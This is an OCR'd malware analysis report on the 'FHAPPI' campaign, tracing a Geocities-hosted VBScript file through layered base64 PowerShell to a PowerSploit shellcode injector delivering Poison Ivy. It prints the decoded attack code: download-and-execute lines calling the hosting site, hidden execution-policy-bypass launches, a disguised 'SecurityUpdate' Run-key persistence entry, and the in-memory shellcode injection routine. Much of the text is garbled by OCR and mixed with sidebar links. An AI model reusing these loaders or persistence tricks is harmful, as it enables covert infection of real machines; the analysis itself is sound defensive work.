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English Report of "FHAPPI Campaign” : FreeHosting APT
PowerSploit Poison lvy

This is the English translation of analysis | made in Japanese: "#OCJP-136: 'FHAPPI ; Geocities.jp & Poison Ivy( X/ Y
1 7 F)DAPTZEFE', it has been translated by a professional hacker and translator, Mr. "El" Kentaro. He is very
good so | will not change any words he wrote, please contact him for the Japanese/English "techie"” translation. -
rgds, @unixfreaxjp

This APT has a committed
name made by Japan
Security Community:

FHAPPI (Z7ytE) = "Free Hosting (pivoted)
APT PowerSploit Poison Yvy"

*) logo designed by El Kentaro
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For the better insights of this analysis you can view my interview with good Q & A in here (link).

VXRL(credit) contacted us regarding an APT phishing email that included a download link to a malware being hosted on

a Geocities website.

Sample/Evidence.

From: wisers. data@gmail.com ey
<wisers.data@gmail.com>
Date: 2017-03-01 21:44 GMT+08:00

<health.pro.demo30@gmail.com>
Date: 2017-02-28 22:16 GMT+08:00
Subject:

Subject: To:
To:
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*) Because we think its an APT attack we cannot disclose all of the contents of the email.

After receiving the request to takedown and URL information, much of the received malware information was very
unclear. | also examined the signature detection rate which turned out to be none. There was too few details. Without
the definite proof Geocities would not be able to do anything | decided to reverse engineer the APT.

Here are the results of my analysis please use it to remove the malware.

From the URL the malware was hosted on GeoCities Japan , Geocities is not a malware or malicious site but a free
website hosting for blogs and homepage.
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www.geocities.jp/vbiayayl 0301.wsc : Search B 3 & 9 #0CJP-136: "FHAPPI, Geocities.jp
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Opening WSC
You have chosen to open:

&, s0301wsc

which is: Windows Script Component (1.2 KB)
from: http://www.geocities.jp

Would you like to save this file? e Linux Malware Research List

e MMD-0061-2016 - Linux/OverkillMod
e MMD-0060-2016 - Linux/UDPfker

e MMD-0059-2016 - Linux/IRCTelnet

e MMD-0058-2016 - Linux/NyaDrop

e MMD-0057-2016 - Linux/LuaBot
The account “vbiayay1” was used to host the actual malware sample. o MMD-0056-2016 - Linux/Mirai

e MMD-0055-2016 - Linux/PnScan

e MMD-0054-2016 - ATMOS botnet

e MMD-0053-2016 - Linux/STD IRCBot

Malw areMustDie! (MMD)

©9 Private Browsing with Tracking Protection

The contents of the hosted malware file was VBScript encoded script.

Stream Content o MMD-0052-2016 - Overall Linux DDoS
GET /vbiayayl/ 0301.wsc HTTP/1.1 . .
User‘—Agen}: wget,/1.18 (freebsd9.2) e MMD-0051-2016 - Linux/Tiny ELF-2
ACCepL: *®/¥

Accegt—Encad-ing: identity e MMD-0050-2016 - Linux/Torte

HOST: www.geocities. j

c::unnect'inn? Keep—AHag e MMD-0049-2016 - Java/DldrRCE
HTTP,/1.1 200 OK e MMD-0048-2016 - Linux/DDOS.TF
Date: Tue, 14 Mar 2017 12:28:40 GMT . .
P3P: policyref="http://privacy.yahoo.co.jp/w3c/p3p_jp.xm1", CP="CAO D5P COR CUR ADM DEV e MMD-0047-2015 - Linux/SSHV HidePID
TAI P5A P5D IVA1 IVDD CON1 TELo OTP1 QUR DELT 5AM1 OTR1 UNR1 PUBT IND PHY ONL UNI PUR .

EIN comdmﬁv éNT DEM CNT S5TA POL HEA PRE GOV" e MMD-0045-2015 - Linux/KDefend
Last-Modified: wed, 01 Mar 2017 12:15:32 GMT S .
Accept-Ranges: bytes e MMD7 BRI 7—HhA7
Content-Length: 1181

Age: 0

Connection: keep-alive

JVNiESSHEEIR
-{CGITIpUI"IEr'IT_}—\-
<script language="VBScript.Encode" >#E-APgQAAA==@#EEm. . 1D+W
(L. AYVIA/IDr2DR/4NVAI#C. ; X, Jawa+. dd+sven6. PRA,tk[[. x~0. 2 ,4zalk/P 2. APxb%EzfT) (0AA)C1bSS
$-bvgzILAS)VHINZ)0ZM* ) \pAT); CINSSAD! &bThakbwwb'\pSEZC ) thbg)bkb9z$; b; czm)Az)vE)+z
$*sz)thE)v')Nz}lbolb\EAbbw(b\p$Ezcﬁ)\pA.)c5b(5}.b5szAAs)_p)'5$*zc\)9bn5)vl).s$nb!
&b'bAHbVOb.b%*ZZL)npr) ZbZT)vbvczsLA})_ql4s58czcv)doad)_qg) 15%50b! "b{oazbvvbIp$/zCh ) hpa
()2wb}5%Th; czpaaz)vj) tz$vzM* ) 9ba2)v2)4z$6b! AbThakbvibop)vzfc) "bar)MIb55%gbvhzN)A9)_qg) 15 BHICVESHR
$3zm1) (oAaT)V3)55%kbutb}hbgbzcbxb$EzZ*) "bA7)C1b4aTSdbv3%z5AVIAS) 15% /zM1 I nbbr)voINz$Zbuzb}
Ob?b;DthS&ZCﬂ)dOA.}M'b45%%bv32N}A2}Vj)mS)EZMG)lbb—}_S)5T$ab!Ab.pA4b_Vbt I\Z2T)
pAr)CSbT5%; bvmz (AA™)_j)45%vzM3)1oAaX); ) rz$7b! th&obkb; (bxb$vzM*)9ob+)C5b}5%0b_bz
(gAH}V'}}5$!ZMV}(GAU}W%}mS$8ble(pA4b_(b.p)EZM}}(hAN}Z&b|5){bzlZZLAP}_p}55$XZC}}dpA}
}_q}4S%Nbl‘blhA.b;)b&o)32M1}(0Ay}beNz$stlzm)Ah}Al}}5$Vzc}}mEA;}Vm}(S$.bu‘b(EADbV3blo
$*zz*)\bA7IMTbgT)IHbzWZz? FA0)wo) qz) 3zM*= ) doAav)vE)INSS ! b! Sb(hadbviblh$ ! zC (OmpAa! JMib|
ZJUbVozN)IAT)_b)rT)%zZ0) 9hAaT)_m)sTS. b! “b(haNbvvbob$wzMi)1hb! YMKbmz) -b_5z5LA2)V2)+5 Cyber Awareness (US-CERT)
$tzcv)tpb-)viW)455Kb ! wbhoba. bG)bth)hzf3)doas)ctbH5)Ub; 3zrAbH) zW) 1B~!
BEPP] " 2B#E&TUoBAA==A#-8</sCript>
</ component>

Exploits (RHTRRD#)

This was a “Wow” moment for me, it was the first time | have seen this type of file from Geocities.jp and the file
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looked suspicious so | decided to do some more analysis.

VBScript is a subset of Visual Basic and for people who have used Visual Basic or any VBA macro it should be a
familiar programming language. However VBScript is designed to be run and executed within the browser and only
can call functions considered basic such as file access and printing. Microsoft VBScript can be executed under
Windows Script Host or Powershell.

2. Reversing marathon of base64
First | manually decoded the VBScript encoded sample , leading to the following code:

l
createobject ("wscript. shell”).run “powershell. exe -w hidden -ep bypass -Enc JABuADOAbgBI|AHGALQBvAGIAagBI|
AZQBOAC4AdwB I AGIAYwBsAGkAZQBUAHQAOwANAAoAJABUAC4AcAByAG8AeABSADOAWWBOAGUAdAAUAFCAZQBi AFTAZQBxAHUAZQBzAHQ
B AHQAUwWB5AHMAJAB | AGOAVwWB | AGI AUAByAG8AeAB5ACgAKQA7AAOACgAKAG4AL gBOAH T AbwB4AHKAL gBDAHI AZQBKAGUAbgBOAGKAYQ
E4AZQBOAC4AQwBYAGUAZAB | AG4AAdABpAGEADABDAGEAYwBoAGUAXQAG6ADOARAB I AGYAYQB1AGwAdABDAHI AZQBKAGUAbgBOAGKAYQBsA
JABUAC4ARABVAHCAbgBsAGBAYQBKAEYAaQBsAGUAKAA i AGgAdABOAHAAOgAvAC8AdwB3AHCAL gBnAGUAbwB jAGKAdABpAGUACWAUAGOA
' pPAGEAeQBhAHKAMQAVAEOAZQB | AHQAaQBuAGcAXwBzAHUAbQBtAGEAcgB5AC4AZABVAGMAT gAsACIAJAB | AG4AdgA6AHQAZQBtAHAAXAB
kAbgBnAF8AcwB1AGOAbQBhAHI AeQAuUAGQAbwB jACTAKQA7AAOACZBTAHQAYQBYAHQALQBQAHIAbwB jAGUAcwBzACAA 1 gAkAGUAbgB2AD
ABcAEOAZQB | AHQAaQBuAGcAXwBzAHUAbQBtAGEAcgB5AC4AZABVAGMA T gANAAOASOBFAF gATAAKAG4AL gBkAG8AdwBuAGwAbwBhAGQAC
AGcAKAANAGgAdABOAHAAOgAVAC8AdwB3AHCALgBnAGUAbwB jAGKAdABpAGUAcwAuAGoAcAAVAHYAY gBpAGEAeQBhAHKAMQAVAGoAbwBo
. éggé?ADEALngAHMAMOAnACkAOwANAAoA", 0, TRUE.

N —

*) if you want to know how this is possible contact me directly @malwaremustdie

The code by using Windows Script Host VBScript creates and object in the shell (read: CMD) and executes a run of the
following code:

powershell.exe -w hidden -ep bypass -Enc "etc etc etc”.

The meaning is, during script execution powershell hides the output (-w hidden) and executes "etc etc etc” which is
the base 64 coded command (Enc = EncodedCommand) without authentication (-ep bypass, ep = ExecutionPolicy).

=10l x|

EX Command Prompt - powershell

-WindowStyle
Sets the window style to Normal, Minimized, Maximized or Hidden.

-EncodedCommand
Accepts a bhase-64-encoded string version of a command. Use this parameter
to submit commands to Windows PowerShell that require complex quotation
marks or curly braces,

-File
Execute a script file.

Save web pages as PDF with PDFmyURL

FreeBSD VuXML

Linuxe¥aVY5« -7y 75—+

2q4o0Y 7k -E¥a) T 115K

HITHHRTY 1 b—&

Schneier on Security

Installing a Credit Card Skimmer on a
POS Terminal

19 B AT

malekal's site
Réparer l'association de fichiers sur
Windows

21 FFTET

Didier Stevens
lexploitable Crash Analyzer -
Statically Linked CRT

1 HB7

Sucuri Blog

Persistent Malicious Redirect
Variants

1 HBy

Virus Bulletin news

New paper: Does malware based on
Spectre exist?

1 HAE7r

Errata Security

Your loT security concerns are
stupid

5 HEr

Dynamoo's Blog

Phishing and fraudulent sites hosted
on 188.241.58.60 (Qhoster)

1 5 A B



http://i.imgur.com/9Urlw8u.png
http://i.imgur.com/VOQqG8v.png
https://www.vuxml.org/freebsd/rss.xml
http://www.linuxsecurity.com/static-content/linuxsecurity_advisories.rss
https://technet.microsoft.com/en-us/security/rss/bulletin
https://www.schneier.com/blog/
https://www.schneier.com/blog/archives/2018/07/installing_a_cr.html
https://www.malekal.com
https://www.malekal.com/reparer-association-fichiers-windows/
https://blog.didierstevens.com
https://blog.didierstevens.com/2018/07/17/exploitable-crash-analyzer-statically-linked-crt/
https://blog.sucuri.net
https://blog.sucuri.net/2018/07/persistent-malicious-redirect-variants.html
https://www.virusbulletin.com/rss
https://www.virusbulletin.com/blog/2018/07/new-paper-does-malware-based-spectre-exist/
https://blog.erratasec.com/
https://blog.erratasec.com/2018/07/your-iot-security-concerns-are-stupid.html
https://blog.dynamoo.com/
https://blog.dynamoo.com/2018/05/phishing-and-fraudulent-sites-hosted-on.html
https://pdfmyurl.com/save-as-pdf?src=pdf
https://pdfmyurl.com/?src=pdf

Windows PowerShell is a useful and extensible command line developed by Microsoft Interface (CLI) shell and Kahu Security

scripting language. Reflow JavaScript Backdoor
Designed on the basis of object oriented, it is based on .NET Framework. PowerShell is having strict policy for 3 A8
performing the script execution, however, by using optional execution parameter the attacker can utilize PowerShell contagio
to run a malicious script. Once called Microsoft Shell (MSH, codenamed Monad). Rootkit Umbreon / Umreon - x86,
ARM samples
3 A ET

Continuing the decoding of the "etc etc etc" code, leads to the following script !
MALware FORensics SECurity

‘ . ‘ P ———" " - " s " Sundown Exploit kit
1|$n=new-ob ject net.webclient; . | 4587
21$n. proxy=[Net. WebRequest] : :GetSystemWebProxy () ;| 2EF]
3|$n. Proxy. Gredentials=[Net. GredentialCGache] : :DefaultCredentials; |
41%n_DownloadFile("http://www.geocities. jp/vbiayayl/Meeting summary. doc”, “Senv:temp¥Meeting_summary. doc”™) ;| SIRi.URZ
5|Start-Process “$env:temp¥Meeting_summary. doc” . s
6| 1EX $n. downloadstring ( http://www. geocities. jp/vbiayayl/ 0301.ps1") :[EOF] ThinkPoint
2 FFf
XyliBox
Once again its a VBScript , this script creates a web client object and uses the proxy setting and user rights to Citadel0.0.1.1 (Atmos)
download a file from a url and execute the file. 2 FFf
. . ) Andre’' M. DiMino -
This allow the opening of a .doc (MS word) file. SemperSecurus

Another look at a cross-platform
DDoS botnet
4 4F R

I Power
Blogger
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Then by utilizing IEX (Invoke-Expression) commandlet will allow it to execute a script under Windows PowerShell and
download and execute a .ps1 file from another url.

Lets dive into the .ps1 file |
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Stream Content

GET /vbiayayl/ 0301.psl HTTP/1.1
HOST: www.geocities. jp
connection: Keep-Alive

HTTP/1.1 200 OK

Date: Tue, 14 Mar 2017 10:44:16 GMT

P3P: policyref="http://privacy.yahoo. co. jp/w3c/p3p_jp.xml1", CP="CAO DSP COR CUR ADM
DEV TAI PSA PSD IVA1 IVDi CON1 TELo OTPi OUR DELi SAMi OTR1 UNRi PUBi IND PHY ONL UNI
PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"

Last-Modified: wed, 01 Mar 2017 12:14:35 GMT

Accept-Ranges: bytes

Content-Length: 33494

Age: O

connection: keep-alive

$76HAeY="DQ0gICAgIG]ZNJQIICRQUOhPTUVLQZSudGFpbnMoIINSCc1ldPVZY0I1k7 DQOgICAGIGNVZGUGPSAT
WmSWadvkzungiMjrRNUlclMmIydexMvTFoYVCcOTKkNuUcOSDandgrFFvalBNMETEUW90Q2 1BZ01DQUSD
AUFNSUNCbWRXNWpkR2X2Ym1CTWIYTmhiRHBIW]hRAF JHVNNAV2ROZE dWVIWWVYQMXEUWINSUNBZ2V3
METIQOFNSUNBZO 1DQ]FZWEpoY1EwS01DQWdIQOFNSUNBDORRb2dI1QOFNSUNBZ 01DQwd1Q0 ] 1 VDNW
MGNI\q' BWSGX3W1 NDY'EZIthaV:,i BWWFEWS01DQWdIQOFNSUNBZ01 DQWAEUWINSUNBZ 01 DQwd IQOFN
SUNCY1VHRN1ZVzFsZEdweUutDQ 1 FiMO5SWZEdsdmIpQT1IREFWWFEWSO1DQWdIQOFNSUNBZO T DQWdX
MVI1YOdwyY1hwMESDaUFNSUNEZ 01 DQWdIQOFNSUNSUVTYSmhiviYwwlhKek 1EMGALRTVSsZHkXUF 1t
chZManvkhsdlﬁdeRLREFwslNszNpqwdJQOFnSUNBZO1DQWdJQTBLSUNBZOlDQWdJQOFnSUNB
Z1cxqQmhjbuzOwlhsbGNpz2dvRz16YVhSCGIYNGAQUOF4 SUNSZERRb2dIQOFNSUNBZO1DQwWdI1QO0 T
eGVjdXprz5wb2pr3ngn1wYXNzIG11ECAowiR1eHQuRWSjb2prmddojpBUONJSSSHZXRTdHJp
bmcowONvbnz 1cnRdOjpGecm9tQmF zZ TYOU3Ryaw 5NKChNcCANSETDVTPCYZ29uc29sZSscpLkZvbnRT
ZWN1cml10eskpKSI7ICAQDQOGICAQICAGICAGICBTZXQTSXR1bVBYb3B1CNRSICIISONVOIXTh2Z0
d2FyZvxNawNyb3NvZnRcV2 TuZGo3c1xDdXIyZw50vmvyc2 TvbTxSdwScIiAtTmFtZSBTZWN1cm10
eVVWZGFOZSAthFSdWU?11RanY6d21uZG1yXHN5c3R b yxFdpbmRvd3NQb3d1cINOZWXxSXHYX
LjBCCcGI3ZXIzaGvshCs eGUgLXcgaG1kZGVuIc11CCBCEXB C3MgLW5vbGOnbyAtbmOwcmOmawx 1
IG]11eCAoW1R1eHQuRWSjb2RpbmddOjpEBUONISSSHZXRTdHI pbmcowONvbnZ1cnRdOjpGemItQmFz
ZTYOU3RyawWwSnNKChNCCANSETDVTPCYZ29uc29s5ZscpLkZvbnRTZWNL cm]0eskpKsI7DQogICAgTsAg
ICAGICAQDQONCiAQIA==""

iex ([Text.Encoding]::ASCII.Getstring([Convert]::FromBase64string(”$76HAeY"")))|

Once again its a base 64 encoded code, and it shows that it used the IEX command to decode.

Looks like this malicious actor really likes base 64 , so back to reversing the base 64 manually.
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$is64= SPSHOME. Contains (“SysWOW64™) ; |

Scode = “ZnVuY3Rpb24gSW52b2t | LUThaWANCnsNC jw jDQo jPgOKDQONC i Ag ICANC i Ag1CBmdW5 jdG | vb i BMb2NhbDpHZXQtRGVsZWdhdGVUeXB | DQog 1 CAgewOK 1CAg1CAg1CBAYXJhbQOKIC
Ag1CAg1CAoDQog1CAg1CAg1CAg1CBbT3VOCHVOVH IwZShbVH IwZVOpXQOKICAgICAg1CAg1CAgDQog 1 CAg1CAg1CAgICBbUGFYYW1 | dGVYKCBAb3NpdG | vbi A91DAPXQOK1CAg1CAg1CAg1CAgW1REG
GVbXVONCiAgICAg1CAgICAg1CRAYXJhbWVOZXJz IDOgKES | dy1PYmp | Y3QgVH IwZVtdKDApKSWNC i Ag1CAg1CAg1CAg1AOKICAg1CAg 1 CAg I CAgW1BhemFtZXR | ¢ i ggUG9zaXRpb24gPSAx1C1dDQog
ICAg1CAgICAgI1CBbVHIWZVONCiAgICAg1CAgICAgICRSZXR1cm5UeXB | ID0gW1ZvaliRdDQog 1 CAg1CAg1CkNCgOK1CAg 1 CAg I CAKRGILYW IuIDOgWOFwGERVDWFpb 1060kN1cnd IbnREb21halW4NCi A
gICAgICAgJER5bszcZVtme51DOngVSLUQ|amVJdCBTeXNOZWOuUmV

UaHdIYWREZWxIZZFOZSkNC|AgICAglCAgJFdhaXRGbSdTaW5anVPYmpIYSRBZGRyIDOgRZVOLVBbeNBZGRyZXNzIGtIcm5IbDMyLmRstBXYWIORm9yU2IuZZxITZJqZWNODOOgICAgICAgICRXYW
|10RmIYU2 | uZ2x | T2JqZWNORGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXB | 1EAOWO [ udFBOG | 0s IFtJbnQzMI0p1ChbSW50XSKNC i Ag I CAg 1 CAgJF dhaXRGb3JTaW5nbGVPYmp | Y3QgPSBbU3 | zdGVL
1 J1bnRpbWUUSW50ZXJveFN I enZpY2VzLk ThenNoYWxdO jpHZXREZWx | Z2F0ZUZvckZ1bmNOaW9uUGIpbnR | o i gkV2FpdEZve INpbmdsZU9 i amV jdEFkZHI s ICRXYWIORmIyU2 luZ2x 1 T2JaZWNORGVs
ZWdthUpDOogICAgIAOKlCAglCAglCBmepIYSOtTGQJYWxTaGVsbGNvZGUNCgOKIAOKfOOKDQprnZvaZUtTWprg R

Set-ItemProperty “HKCU:¥Console¥” -Name FontSecurity -Value $code:
if ($is64 —or ([System.Runtime. InteropServices.Marshal]: SlzeOf([Type][IntPtr]) -eq 8))
N

Start-Process -windowstyle Hidden -FilePath “$env: W|nd|r¥syswow64¥cmd exe” —ArgumentLlst “/c powershell exe —-noprofile —executionpolicy byp
ass iex ([Text.Encoding]::ASCII. GetString([Convert]: :FromBase64String((gp 'HKCU:¥console). FontSecurity)))”

Set-ItemProperty “HKCU:¥Software¥Microsoft¥Windows¥CurrentVersion¥Run¥” —-Name SecurityUpdate —Value “Senv: W|nd|r¥syswow64¥w|ndowsPowerSheII
¥v1.0¥pow?;§hell exe -w hidden —-ep Bypass -nologo -noprofile iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:¥console').Fon
tSecurity))) ;!

helsei
N

Start-Process -windowstyle Hidden -FilePath “$env:windir¥system32¥cmd. exe” —ArgumentList “/c powershell.exe —noprofile -executionpolicy byp
ass iex ([Text.Encoding]::ASCII. GetString([Convert]: :FromBase64String((gp 'HKCU:¥console').FontSecurity)))”;|

Set-ItemProperty “HKCU:¥Software¥Microsoft¥Windows¥CurrentVersion¥Run¥” -Name SecurityUpdate -Value “Senv:windir¥system32¥WlindowsPowerShel |
¥vl.0¥pow?;§hell.exe -w hidden -ep Bypass -nologo —noprofile iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:¥console').Fon
tSecurity)))”;l

I

The above is the decoded code, but its another base 64 encoded code. (_ _I11); ; ; ;
However it finally revealed some of the infection code, the actual malware payload is in this base 64 code.

The code also revealed infection vectors for 32 bit and 64 bit , it hides itself as a fake “Security Update” process and
uses powershell.exe to execute the base 64 code by decoding it with an IEX command.

Ok, back to decoding base 64 again!!
Once decoded the 2 functions came up and a shellcode appeared.

; function Invoke-Main!

+

3|<#l

410

g Eunction Local :Get-DelegateType!

+

1 Param!

8 (@
18 [OutputType ([Typel) 14

+
1 [Parameter ( Position = 0)]!
12 [Type[1]L
}i $Parameters = (New-Object Type[](0)),
+
15 [Parameter ( Position =1 )11
16 ypel] L
17 $ReturnType = [Void] !
18 )L
19 $Domain = [AppDomain]::CurrentDomainl
20 $DynAssembly = New-Object System. Reflection. AssemblyName (' ReflectedDelegate’) |
21 $AssemblyBuilder = $Domain. DefineDynamicAssemb|y ($DynAssembly, [System.Reflection. Emit. AssemblyBuilderAccess]: :Run).
22 $ModuleBuilder = $Assemb|yBuilder. DefineDynamicModule (' InMemoryModuIe', $false) |
23 $TypeBuilder = $ModuleBuilder.DefineType ( MyDelegateType' . 'Class, Public, Sealed, AnsiClass, AutoClass’, [System.MulticastDelegate]) |
24 $ConstructorBuilder = $TypeBuilder. Def\neConstructor( RTSpeC|aIName HideBySig, Public’, [System.Reflection.CallingConventions]::Standard
25 $ConstructorBuilder. SetImplementationFlags (' Runtime, Managed
26 $SMethodBui Ider = $TypeBuilder. DefineMethod (" Invoke’, ’"Public, HldeBySig, NewSlot, Virtual', $ReturnType, $Parameters) !
27 SMethodBui lder. SetImplementationFlags (' Runtime, Managed’) !
%8 | Write-Output $TypeBuilder. CreateType() !
+

anl
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31 function Local:Inject-LocalShellcode!
32 L
33|
gg $Shel lcode = [System. Convert]::FromBase64String (§Shellcode32) |

1
36(1
37 # Allocate RWX memory for the shellcode!
38 $BaseAddress = SVirtualAlloc. Invoke ([IntPtr]::Zero, $Shellcode. Length, 0x1000, 0x40) # (Reserve|Commit, RWX) L
39 if (1$BaseAddress) |
40 {L
41 return!
42 b
43] 1
44 # Copy shellcode to RWX buffer.
ig [System. Runtime. InteropServices. Marshal]: :Copy ($Shellcode, 0, $BaseAddress, $Shellcode.Length) !

1
47 # Launch shellcode in it’s own threadl
48 $ThreadHandle = $CreateThread. Invoke([lntPtr] Zero, 0, $BaseAddress, [IntPtr]::Zero, 0. [IntPtr]::Zero)!
49 if (18$ThreadHandle) |
50 v
51 #Throw “Unable to launch thread.”.
52 returnd
53 Ho
541
55 # Wait for shellcode thread to terminatel
g? $WaitForSingleObiect. Invoke (§ThreadHandle, OxFFFFFFFF) .

1
b8 #$VirtualFree. Invoke ($Cal 1StubAddress, $CallStub,Length + 1, 0x8000) | Out-Null| # MEM_RELEASE (0x8000) .
59 #8VirtualFree. Invoke (3BaseAddress, $Shellcode. Length + 1, OXBOOO) | Out-Null # MEM_RELEASE (0x8000) .
g? | #Write-Verbose "Shellcode injection complete!” |

4

62|
63|
R4
b4l
65 $Shellcode32 = “UmapXMZak0iDI1QAAur+4AUXs6e | iMWgqqXaqp6WpSJ+np6emc3AGH70npYhmBmW+p6QEz70npub8BL
66 |+u/p6WIZbB+d/r2D6YPpAZrs6e | oKbVhgem5g+mD6RY /ugEh6+npsTeyKagb jIidjL2Bmdy] jenpl
gg GemBYquLX26v74B/+zp6WlbeLmbdroGemBPWGpGOGT70npuboBWuzpﬁWIZg01uqekBJuzpﬁme¢
69 SSfognHZtJbSSfZXQnHZtJbGSfZXQnHZ‘tJbSSfognHZtJbSSfognHZthZanGbaneJtﬁevpi
70| 6eko6+3pFhYWFgzodumf j JuaglaH29nY2hLgdenb2d je2drZ20np6ek 1AAAAACL tkPxaUkhA9VhQ L
;% ermDIOAAgDLprIBg+kBg/kAde0VzUAAAAAX1J/OCLSIQngAA L
73 Inject shellcode into the currently running PowerShell process!
74 VirtualAllocAddr = Get-ProcAddress kernel32. dl| VirtualAlloc!
75 VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])¢
76 VirtualAlloc = [System. Runtime. InteropServices. Marshal]: :GetDelegateForFunctionPointer ($VirtualAl locAddr., $VirtualAllocDelegate) |
17 VirtualFreeAddr = Get-ProcAddress kernel32.dl| VirtualFreel
78 VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Booll)!
79 VirtualFree = [System.Runtime. InteropServices. Marshal]: :GetDelegateForFunctionPointer (§VirtualFreeAddr, $VirtualFreeDelegate) !
80 CreateThreadAddr = Get-ProcAddress kernel32. dl| CreateThread!
81 CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])!
82 CreateThread = [System. Runtime. InteropServices. Marshal]: :GetDelegateForFunctionPointer ($CreateThreadAddr. $CreateThreadDelegate) |
83 WaitForSingleObjectAddr = Get-ProcAddress kernel32.d|| WaitForSingleObject!
84 WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])|
gg s WaitForSingleObject = [System. Runtime. InteropServices. Marshal]: :GetDelegateForFunctionPointer (§WaitForSingleObjectAddr. $WaitForSin
87 Inject-LocalShel lcodel
88| L
89|11
90|
91| Invoke-Main/
92|
93| [EOF]

The above codes are all self-explanatory, read the commands line by line. It explains how a powershell can be used as
lethal vector to exploit a bad malware by process injection, and all are in a script!!!

3 . Copy/Pasting PowerSploit/CodeExecution PoC

The last part looked familiar and after searching the MalwareMustDie tweets, it turned out to be a
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PowerSploit/CodeExecution PoC code.

& GitHub, Inc. (US) | https://github.com/PowerShellMafiafl ploit/ blob/master/Cor hellcode psl s ¢ L search
# Allocate RWX memory for the shellcod
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.lLength + 1, ©x3000, ©x40)
if (!$BaseAddress)

{

Throw "Unable to allocate shellcode memory in PID: $ProcessID"

Write-Verbose "Shellcode memory reserved at @x$(%$BaseAddress.ToString("X$([IntPtr]::Size*2)"))"

# Copy she uffer

[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, @, $BaseAddress, $shellcode.lLength)

# Get address of ExitThread function

$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread

if ($Powershell3zbit)

{
$Callstub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'

}

else

{

$Callstub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64

Copy-and-Paste rulzzz....(maybe)

This is one of the reasons | am against releasing malware code to the public.
GitHub is full of these types source codes.

4 . ShellCode

The main payload of this sample turned out to be mostly a copy and paste job of the PowerSploit/CodeExection and
the shell code and multilayered base64 encoding is original to this sample.

So to reveal the actually shell code we have decode the rest using base 64 again...oh no..
$Shellcode = [System.Convert]::FromBase64String($Shellcode32)

Once decoded the shellcode header can be analyzed as: |
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Do you want to print 626 |ines? (y/N)

-offset- 01 23 45 67 89 AB CD EF 0123456789ABCDEF
h266 a9bc cbha 90e8 8371 babf b801 Rf.¥.Z...!......
4hec e9e9 6231 682a a97a af%9 6ab2 27e9 E...blh*.z..jR’.
e9e9 e99¢c dc01 87ec e9e9 6219 8199 6fal .
901 33ec e9e9 b9bf 01fa efed 962 196¢
1f9d febd 83e9 83e9 019a ece9 968 29bb
61a9 e9b9 83e9 83e9 163f ball Z1eb e9e9
b3b7 bZZa aa%bh 8c88 9d8c bd81 9b8c 888d
e9e9 e9e9 bcb? 0h6a 2d7d babf bell ffec ..... b.j-}......
e9e9 6231 6¢32 ebbd dae8 e9e9 813d 6ea9 ..b11Z.m..... =n.
901 93ec e9e9 b9ba 015a eced 962 1981
0d6e a%9 018e eced e9b9 ball 49ec e9e9
6211 811d 6ea9 901 bdec e9e9 bSba 0164
eced 960 acll 81lel 61a9 901 afec e9e9
b9ba 0190 ece9 960 acld 81fh 61a9 901
chec e9e9 b9ba 018c eced 960 acl9 81d9
61a9 901 flec e9e9 b9ba 01b8 eced 960
ac0b 81a9 61a9 901 edec e9e9 bSba 01d4
ece9 960 ac0l 64ac 7db3 ade9 e9e9 0124
ede9 e97e ac/d ade9 e9e9 8fZe acZd ecel
64ac 31b9 64ac 7db9 83e9 83e9 83ed 83e9
83e9 83e9 81ab 61a9 901 Zbed e9e9 bh983
916 3fbc 299d 8183 a981 e9f9 e9e9 6Zac
ebb9 83e9 6Z2ac 31b9 163e 6231 6¢32 9dab
64ac 15b9 6Zac ebb9 6Zac elb9 babZ ac3i
b916 bcll 6Z2ac 15d? aceb 9cda 8125
e983 a916 bc01 6219 6¢1f 9dca Zeef

We could just reverse engineer it as is, however it might take some time..
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52 edx
66a9hcch test ax, Oxcbbe
Ha pop edx
90
288321 call Ox218f
babfb80145 mov edx, 0x4501b8bf
ec al, dx

,=< 2929623168

[0x00000000]> s 0x218f

[0x0000218f]> af

[0x0000218f 1> pdf

H———— —— — —

55
Os

/

|

|

| 35 xor eax, 0
| 22ed and ch, ch
| 90

| fc cld

| Sa pop edx

| 52 edx

| 48 dec eax

| 40 inc eax

| 5 cne

| 58 pop eax

| 50 eax

| Ba pop edx

| h98321 mov ecx, 0x2183
| 8032e9 xor byte [edx], Oxe9
| 83c201 add edx, 1
| 832901 sub ecx, 1
| 8319 cmp ecx, 0
| 7512

| 50 eax

| 57 edi

| 35 xor eax, 0

So looks like we need and XOR , Key “Oxe9” and byte length: 0x2183 . | didn't want to write it further before, but now
is okay, here's a simple explanation for this XOR stuff. Poison lvy malware itself is the XOR resulted binary. It will
inject the actual payload to the userinit.exe (we will go there in following section) as the SECOND shellcode. This XOR
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resulted shellcode data contains basic information of the campaign itself.

[x] Disassenbly Symbols

Stack
- offset - 23 45 67 89 AB CD EF 0123456789ABC
90e8 8¢ babf b801 Rf.¥ !

45ec e9e ¥ a a%9 6ab2 27e9 E

e9e9 e99¢ 9e9 6219 8199 6fad
o O1fa efed €962 196c
019 9 e 5

ff ebx 0x00000000
esi 0x00000000 edi 0x00000000 esp Ox
eip ab eflags

Its getting late and | need my beauty sleep, and | can’t spend much time on this so | will share a neat way to handle
this shellcode :)

So | used assembly and created a PE binary file using this shellcode.

Saving the shell code data in the .text section of the assembly file and the entry point(EP) will be "adjusted” by the
compiler during compilation process therefore you can execute this shellcode as a binary PE file. This method is very
useful when analyzing shellcodes. And by using a Unix environment you can create this PE without risking an infection.
(For this sample | conducted most of my analysis in FreeBSD)

ages as PDF with PDFmyURL
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- PE code section!
|
e

db “. text”, 0, 0, 0 : Name!

dd codesize ; VirtualSizel
dd round(hdrsize, 1) : VirtualAddress!

dd round(codesize, 1) ; SizeQfRawDatal

101

102

103

104
